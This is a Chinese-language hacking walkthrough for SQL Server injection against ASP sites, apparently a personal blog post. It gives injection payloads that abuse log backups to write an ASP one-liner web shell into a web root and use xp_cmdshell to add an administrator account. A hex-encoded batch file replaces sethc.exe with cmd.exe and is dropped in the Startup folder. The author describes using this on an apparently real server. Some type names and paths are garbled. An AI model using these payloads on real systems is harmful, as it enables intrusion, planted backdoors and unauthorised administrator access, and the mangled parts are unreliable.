字符型web
1.恢復當前庫sql
;alter database 當前庫 set RECOVERY FULL--shell
2.建立表cmd數據庫
;create table cmd (a p_w_picpath)--服務器
3.備份當前庫到D:\cmd1ide
;backup log 當前庫 to disk = 'D:\cmd1' with init--測試
4.插入一句話代碼到建立的表cmdspa
;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--ci
5.備份一句話代碼到站點根目錄cmd
;backup log 當前庫 to disk = 'D:\www_web\oct.asp'--
6.完成
';drop table 建立的表--
----------------------------------
數字型
1.恢復當前庫
';alter database 當前庫 set RECOVERY FULL--
2.建立表cmd
';create table cmd (a p_w_picpath)--
3.備份當前庫到D:\cmd1
';backup log 當前庫 to disk = 'D:\cmd1' with init--
4.插入一句話代碼到建立的表cmd
';insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--
5.備份一句話代碼到站點根目錄
';backup log 當前庫 to disk = 'D:\www_web\oct.asp'--
6.完成
';drop table 建立的表--
--------------------------------
sa權限建立管理員用戶
1.判斷是否有注入;and 1=1 ;and 1=2
;and user_name()='dbo' 判斷當前系統的鏈接用戶是否是sa
2.添加系統的管理員
;exec master.dbo.xp_cmdshell 'net user wk wk90 /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--
___________________________________________________________________________________________
巧用差別備份DB_OWNER提權
獲得的DB_OWNER權限
想到的是差別備份
exec master..xp_dirtree c:,1,1
列目錄
/*利用Url或者sql查詢器Log備份一句話或Bat*/
alter database [master] set RECOVERY FULL--
create table cmd (a p_w_picpath)--
backup log [master] to disk = c:cmd1 with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202
F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65
7865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577
696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325
C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [master] to disk = C:Documents and SettingsAdministrator「開始」菜單\程序啓動\start.bat--
drop table cmd--
分析下語句
第一句
alter database [master] set RECOVERY FULL--
master 是數據庫名字,通常db權限不行 換庫名吧
create table cmd (a p_w_picpath)--
這句的意思創建一個表,表裏面一個列,列的數據類型是p_w_picpath
backup log [master] to disk = c:cmd1 with init--
這句就是備份庫master裏面的log到c:cmd1
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612
073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65786520257
7696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255
C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655
C73657468632E657865202F790D0A)--
這句就是在剛纔創建的表cmd 列a 裏面插入數據
130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F61207
3657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577
696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E64697225
5C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C6361636865
5C73657468632E657865202F790D0A
16進制的批處理
處理原文是
@Echo off
@cd %windir%
@del dir /s /a sethc.exe
@copy %windir%system32cmd.exe %windir%system32sethc.exe /y
@copy %windir%system32cmd.exe %windir%system32dllcachesethc.exe /y
backup log [master] to disk = C:Documents and SettingsAdministrator「開始」菜單\程序啓動\start.bat--
這句就是備份庫master的log到啓動項start.bat
裏面有批處理
drop table cmd--
刪除表
而後等管理登錄3389啓動噢
我遇到的問題有
執行第二句的時間
create table cmd (a p_w_picpath)--
master提示拒絕沒有權限
不能沒建立表的權限就放棄吧
再想一想折,我有他db權限.找個空白弄下就ok不是
在庫test表test裏面找到一個沒數據的
這裏用到倆命令
刪除列
ALTER TABLE 表名 DROP COLUMN 列名
添加列
ALTER TABLE 表名 ADD 列名 VARCHAR(20)
我先執行了刪除test裏面的全部列
而後執行
ALTER TABLE test ADD a
而後用到的命令是
alter table
語句
網上找了幾個實例
引用
--try
create table a
(
name nvarchar(45),
price decimal (19,4),
charge varchar(10)
)
一、nvarchar類型的長度都變爲60
alter table a
alter column name nvarchar(60)
二、decimail類型的默認值變爲0,小數點後保留2位數
--若默認值已存在先刪除後添加 delete constraint 約束名
alter table a
add constraint df_a_price default 0 for price
alter table a
alter column price decimal(19,2)
三、將因此varchar列示類型變爲Nvarchar
alter table a
alter column charge nvarchar(60)
我在這裏執行的是
alter table [test].[dbo].[test]
alter column a p_w_picpath
意思是改變庫test表test列a的數據類型是p_w_picpath
而後稍微改下命令
alter database [test] set RECOVERY FULL--
backup log [test] to disk = c:cmd1 with init--
insert into test (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F7
3202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642
E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F707920257
7696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6
C63616368655C73657468632E657865202F790D0A)--
backup log [test] to disk = C:Documents and Settingsadministrator「開始」菜單\程序啓動\start.bat--
執行成功返回
引用
已處理 2 頁,這些頁屬於數據庫 test 的文件 test_Log(位於文件 1 上)。
BACKUP LOG 操做成功地處理了 2 頁,花費了 0.125 秒(0.081 MB/秒)。
(所影響的行數爲 1 行)
已處理 1 頁,這些頁屬於數據庫 test 的文件 test_Log(位於文件 1 上)。
BACKUP LOG 操做成功地處理了 1 頁,花費了 0.095 秒(0.037 MB/秒)。
ok
看到這裏就成功了 而後看下
exec master..xp_dirtree C:Documents and Settingsadministrator「開始」菜單\程序啓動\,1,1
而後返回
成功了
哈哈等管理吧
這裏補充的我比較笨蛋.以上是我在本機測試很久的,備份有的庫有時間批量命令寫不進去的
那樣是沒有用的
這樣纔是成功的
大牛繞過呵呵,剛開始的時間想過放棄,不過一步一步摸索不懂的查gg,嘿,真搞定了.
搞這個不容易,他這個1433只針對一臺服務器開放,我費了好大事才搞定那個,而後朋友寫了個dll(端口映射,系統服務,比較方面,上3389很容易發現).
這才copy出表,本地能測試.